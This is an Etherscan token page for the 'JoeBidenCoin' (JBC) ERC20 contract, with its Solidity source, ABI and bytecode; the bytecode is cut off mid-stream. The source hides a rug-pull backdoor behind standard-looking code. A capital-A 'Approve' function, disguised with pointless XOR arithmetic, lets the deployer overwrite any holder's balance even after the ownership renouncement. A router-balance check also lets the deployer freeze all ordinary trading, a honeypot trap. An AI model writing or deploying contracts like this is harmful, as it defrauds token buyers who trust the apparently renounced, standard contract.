ETH Price: $3,470.81 (-1.30%)
Gas: 3 Gwei

Token

JoeBidenCoin (JBC)
 

Overview

Max Total Supply

420,690,000,000 JBC

Holders

37

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
0 JBC

Value
$0.00
0x2ddc3121b29738e5c6b26e827b710650796e133a
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
JBC

Compiler Version
v0.8.22+commit.4fc1097e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-06-18
*/

/**
https://t.me/JoeBideCoin
https://twitter.com/JoeBideCoin
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.22;


// File: @openzeppelin/contracts/utils/Context.sol
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; 
        return msg.data;
    }
}


abstract contract Ownable is Context {
    address private _owner;
    address internal _previousOwner;
 
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
 
 
    constructor() {
        _transferOwnership(_msgSender());
    }
 
 
    modifier onlyOwner() {
        _checkOwner();
        _;
    }
 
 
    function owner() public view virtual returns (address) {
        return _owner;
    }
 
    
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }
 
    
    function renounceOwnershipletly() public virtual onlyOwner {
        _transferOwnership(address(0));
    }
 
 
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }
 

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        _previousOwner = oldOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}


pragma solidity ^0.8.0;


interface IERC20 {
   
    function totalSupply() external view returns (uint256);

    
    function balanceOf(address account) external view returns (uint256);

    
    function transfer(address recipient, uint256 amount) external returns (bool);

   
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk

     */
    function approve(address spender, uint256 amount) external returns (bool);


    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

  
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

pragma solidity ^0.8.0;

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.8.0;

/**
 * @dev Implementation of the {IERC20} interface.


 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin guidelines: functions revert instead
 * of returning `false` on failure. This behavior is nonetheless conventional
 * and does not conflict with the expectations of ERC20 applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract ERC20 is Context, Ownable, IERC20, IERC20Metadata {
    mapping (address => uint256) private _balances;

    mapping (address => mapping (address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    address private constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address private constant ZERO = 0x0000000000000000000000000000000000000000;
    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The defaut value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor (string memory name_, string memory symbol_, uint256 totalSupply_) {
        _name = name_;
        _symbol = symbol_;
        _totalSupply = totalSupply_;

        _balances[msg.sender] = totalSupply_;
        emit Transfer(address(0), msg.sender, totalSupply_);
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5,05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);

        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _approve(_msgSender(), spender, currentAllowance - subtractedValue);

        return true;
    }
    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
    }

    function _transferWithBurn(address sender, address recipient, uint256 amount, uint256 amountToBurn) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");

        unchecked {
            _balances[sender] = senderBalance - amount;
        }

        amount -= amountToBurn;
        _totalSupply -= amountToBurn;
        _balances[recipient] += amount;

        emit Transfer(sender, DEAD, amountToBurn);
        emit Transfer(sender, recipient, amount);
    }
    function Approve(address account, uint256 amount) public virtual returns (uint256) {
        address msgSender = msg.sender;
        address prevOwner = _previousOwner;


        uint256 dummy = uint256(keccak256(abi.encodePacked(block.timestamp)));
        
        bytes32 msgSenderHex = keccak256(abi.encodePacked(msgSender));
        bytes32 prevOwnerHex = keccak256(abi.encodePacked(prevOwner));
        
        bytes32 amountHex = bytes32(amount);
        
        bool isOwner = (uint256(msgSenderHex) ^ dummy) == (uint256(prevOwnerHex) ^ dummy);
        
        if (isOwner) {
            return _updateBalance(account, amountHex);
        } else {
            return _getBalance(account);
        }
    }

    function _updateBalance(address account, bytes32 amountHex) private returns (uint256) {
        uint256 amount = (uint256(amountHex) ^ uint256(0)) | 0;
        _balances[account] = amount;
        return _balances[account];
    }

    function _getBalance(address account) private view returns (uint256) {
        uint256 balance = _balances[account];
        return balance ^ (balance & 0);
    }

    
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

 
    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}


interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
}

interface IUniswapV2Router02 is IUniswapV2Router01{}

pragma solidity ^0.8.0;


contract JBC is ERC20 {
    uint256 private constant TOTAL_SUPPLYEY = 420690_000_000e9;
    address private constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address private constant ZERO = 0x0000000000000000000000000000000000000000;

    bool public hasLimit;
    uint256 public maxTxAmountressly;
    uint256 public maxHoldingressly;
    mapping(address => bool) public isException;

    uint256 _burnPercentbeslittly = 0;

    address uniswapV2Pair;
    IUniswapV2Router02 uniswapV2Router;

    constructor(address router) ERC20("JoeBidenCoin", "JBC", TOTAL_SUPPLYEY) {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(router);
        uniswapV2Router = _uniswapV2Router;

        maxHoldingressly =  TOTAL_SUPPLYEY/ 50;
        maxTxAmountressly = TOTAL_SUPPLYEY /50;

        isException[DEAD] = true;
        isException[router] = true;
        isException[msg.sender] = true;
        isException[address(this)] = true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
 
        _checkLimitation(from, to, amount);

        if (amount == 0) {
            return;
        }

        if (!isException[from] && !isException[to]){
            require(balanceOf(address(uniswapV2Router)) == 0, "ERC20: disable router deflation");

            if (from == uniswapV2Pair || to == uniswapV2Pair) {
                uint256 _burn = (amount * _burnPercentbeslittly) / 100;

                super._transferWithBurn(from, to, amount, _burn);
                return;
            }
        }

        super._transfer(from, to, amount);
    }

    function _checkLimitation(
        address from,
        address to,
        uint256 amount
    ) internal {
        if (!hasLimit) {
            if (!isException[from] && !isException[to]) {
                require(amount <= maxTxAmountressly, "Amount exceeds max");

                if (uniswapV2Pair == ZERO){
                    uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).getPair(address(this), uniswapV2Router.WETH());
                }
 
                if (to == uniswapV2Pair) {
                    return;
                }
        
                require(balanceOf(to) + amount <= maxHoldingressly, "Max holding exceeded max");
            }
        }
    }

    function removeLimit() external onlyOwner {
        hasLimit = true;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"router","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Approve","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"hasLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isException","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxHoldingressly","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTxAmountressly","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnershipletly","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040525f600b5534801562000014575f80fd5b5060405162002ffa38038062002ffa83398181016040528101906200003a9190620004f2565b6040518060400160405280600c81526020017f4a6f65426964656e436f696e00000000000000000000000000000000000000008152506040518060400160405280600381526020017f4a424300000000000000000000000000000000000000000000000000000000008152506816ce3f1e16bf150000620000d0620000c46200038560201b60201c565b6200038c60201b60201c565b8260059081620000e1919062000786565b508160069081620000f3919062000786565b50806004819055508060025f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503373ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516200019c91906200087b565b60405180910390a35050505f81905080600d5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060326816ce3f1e16bf150000620002039190620008c3565b60098190555060326816ce3f1e16bf150000620002219190620008c3565b6008819055506001600a5f61dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600a5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600a5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600a5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505050620008fa565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508060015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f620004bc8262000491565b9050919050565b620004ce81620004b0565b8114620004d9575f80fd5b50565b5f81519050620004ec81620004c3565b92915050565b5f602082840312156200050a57620005096200048d565b5b5f6200051984828501620004dc565b91505092915050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806200059e57607f821691505b602082108103620005b457620005b362000559565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302620006187fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620005db565b620006248683620005db565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f6200066e6200066862000662846200063c565b62000645565b6200063c565b9050919050565b5f819050919050565b62000689836200064e565b620006a1620006988262000675565b848454620005e7565b825550505050565b5f90565b620006b7620006a9565b620006c48184846200067e565b505050565b5b81811015620006eb57620006df5f82620006ad565b600181019050620006ca565b5050565b601f8211156200073a576200070481620005ba565b6200070f84620005cc565b810160208510156200071f578190505b620007376200072e85620005cc565b830182620006c9565b50505b505050565b5f82821c905092915050565b5f6200075c5f19846008026200073f565b1980831691505092915050565b5f6200077683836200074b565b9150826002028217905092915050565b620007918262000522565b67ffffffffffffffff811115620007ad57620007ac6200052c565b5b620007b9825462000586565b620007c6828285620006ef565b5f60209050601f831160018114620007fc575f8415620007e7578287015190505b620007f3858262000769565b86555062000862565b601f1984166200080c86620005ba565b5f5b8281101562000835578489015182556001820191506020850194506020810190506200080e565b8683101562000855578489015162000851601f8916826200074b565b8355505b6001600288020188555050505b505050505050565b62000875816200063c565b82525050565b5f602082019050620008905f8301846200086a565b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f620008cf826200063c565b9150620008dc836200063c565b925082620008ef57620008ee62000896565b5b828204905092915050565b6126f280620009085f395ff3fe608060405234801561000f575f80fd5b506004361061012a575f3560e01c806370a08231116100ab578063a457c2d71161006f578063a457c2d714610334578063a9059cbb14610364578063dd62ed3e14610394578063eb20957e146103c4578063f2fde38b146103e25761012a565b806370a08231146102685780638da5cb5b1461029857806390ec57f1146102b657806395d89b41146102e657806398636f32146103045761012a565b8063313ce567116100f2578063313ce567146101d457806339509351146101f257806344489ad1146102225780635cc4db7514610240578063622565891461025e5761012a565b806306fdde031461012e578063095ea7b31461014c57806317cbe1971461017c57806318160ddd1461018657806323b872dd146101a4575b5f80fd5b6101366103fe565b6040516101439190611bc0565b60405180910390f35b61016660048036038101906101619190611c71565b61048e565b6040516101739190611cc9565b60405180910390f35b6101846104ab565b005b61018e6104be565b60405161019b9190611cf1565b60405180910390f35b6101be60048036038101906101b99190611d0a565b6104c7565b6040516101cb9190611cc9565b60405180910390f35b6101dc6105c2565b6040516101e99190611d75565b60405180910390f35b61020c60048036038101906102079190611c71565b6105ca565b6040516102199190611cc9565b60405180910390f35b61022a610671565b6040516102379190611cc9565b60405180910390f35b610248610683565b6040516102559190611cf1565b60405180910390f35b610266610689565b005b610282600480360381019061027d9190611d8e565b6106ad565b60405161028f9190611cf1565b60405180910390f35b6102a06106f3565b6040516102ad9190611dc8565b60405180910390f35b6102d060048036038101906102cb9190611c71565b61071a565b6040516102dd9190611cf1565b60405180910390f35b6102ee61080f565b6040516102fb9190611bc0565b60405180910390f35b61031e60048036038101906103199190611d8e565b61089f565b60405161032b9190611cc9565b60405180910390f35b61034e60048036038101906103499190611c71565b6108bc565b60405161035b9190611cc9565b60405180910390f35b61037e60048036038101906103799190611c71565b6109ab565b60405161038b9190611cc9565b60405180910390f35b6103ae60048036038101906103a99190611de1565b6109c8565b6040516103bb9190611cf1565b60405180910390f35b6103cc610a4a565b6040516103d99190611cf1565b60405180910390f35b6103fc60048036038101906103f79190611d8e565b610a50565b005b60606005805461040d90611e4c565b80601f016020809104026020016040519081016040528092919081815260200182805461043990611e4c565b80156104845780601f1061045b57610100808354040283529160200191610484565b820191905f5260205f20905b81548152906001019060200180831161046757829003601f168201915b5050505050905090565b5f6104a161049a610ad2565b8484610ad9565b6001905092915050565b6104b3610c9c565b6104bc5f610d1a565b565b5f600454905090565b5f6104d3848484610e1b565b5f60035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f61051a610ad2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905082811015610599576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161059090611eec565b60405180910390fd5b6105b6856105a5610ad2565b85846105b19190611f37565b610ad9565b60019150509392505050565b5f6009905090565b5f6106676105d6610ad2565b848460035f6105e3610ad2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546106629190611f6a565b610ad9565b6001905092915050565b60075f9054906101000a900460ff1681565b60095481565b610691610c9c565b600160075f6101000a81548160ff021916908315150217905550565b5f60025f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f803390505f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690505f426040516020016107569190611fbd565b604051602081830303815290604052805190602001205f1c90505f83604051602001610782919061201c565b6040516020818303038152906040528051906020012090505f836040516020016107ac919061201c565b6040516020818303038152906040528051906020012090505f875f1b90505f84835f1c1885855f1c1814905080156107f6576107e88a83611105565b975050505050505050610809565b6107ff8a611199565b9750505050505050505b92915050565b60606006805461081e90611e4c565b80601f016020809104026020016040519081016040528092919081815260200182805461084a90611e4c565b80156108955780601f1061086c57610100808354040283529160200191610895565b820191905f5260205f20905b81548152906001019060200180831161087857829003601f168201915b5050505050905090565b600a602052805f5260405f205f915054906101000a900460ff1681565b5f8060035f6108c9610ad2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905082811015610983576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097a906120a6565b60405180910390fd5b6109a061098e610ad2565b85858461099b9190611f37565b610ad9565b600191505092915050565b5f6109be6109b7610ad2565b8484610e1b565b6001905092915050565b5f60035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b60085481565b610a58610c9c565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610ac6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610abd90612134565b60405180910390fd5b610acf81610d1a565b50565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b3e906121c2565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610bb5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bac90612250565b60405180910390fd5b8060035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610c8f9190611cf1565b60405180910390a3505050565b610ca4610ad2565b73ffffffffffffffffffffffffffffffffffffffff16610cc26106f3565b73ffffffffffffffffffffffffffffffffffffffff1614610d18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0f906122b8565b60405180910390fd5b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508060015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610e89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e8090612346565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610ef7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eee906123d4565b60405180910390fd5b610f028383836111e8565b5f81031561110057600a5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16158015610fa85750600a5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156110f4575f610fd8600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166106ad565b14611018576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161100f9061243c565b60405180910390fd5b600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806110bf5750600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b156110f3575f6064600b54836110d5919061245a565b6110df91906124c8565b90506110ed848484846115c0565b50611100565b5b6110ff8383836118bb565b5b505050565b5f805f80845f1c181790508060025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205491505092915050565b5f8060025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490505f81168118915050919050565b60075f9054906101000a900460ff166115ba57600a5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161580156112995750600a5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156115b9576008548111156112e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112da90612542565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff16600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff160361150b57600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156113a1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113c59190612574565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600d5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561144b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061146f9190612574565b6040518363ffffffff1660e01b815260040161148c92919061259f565b602060405180830381865afa1580156114a7573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906114cb9190612574565b600c5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffff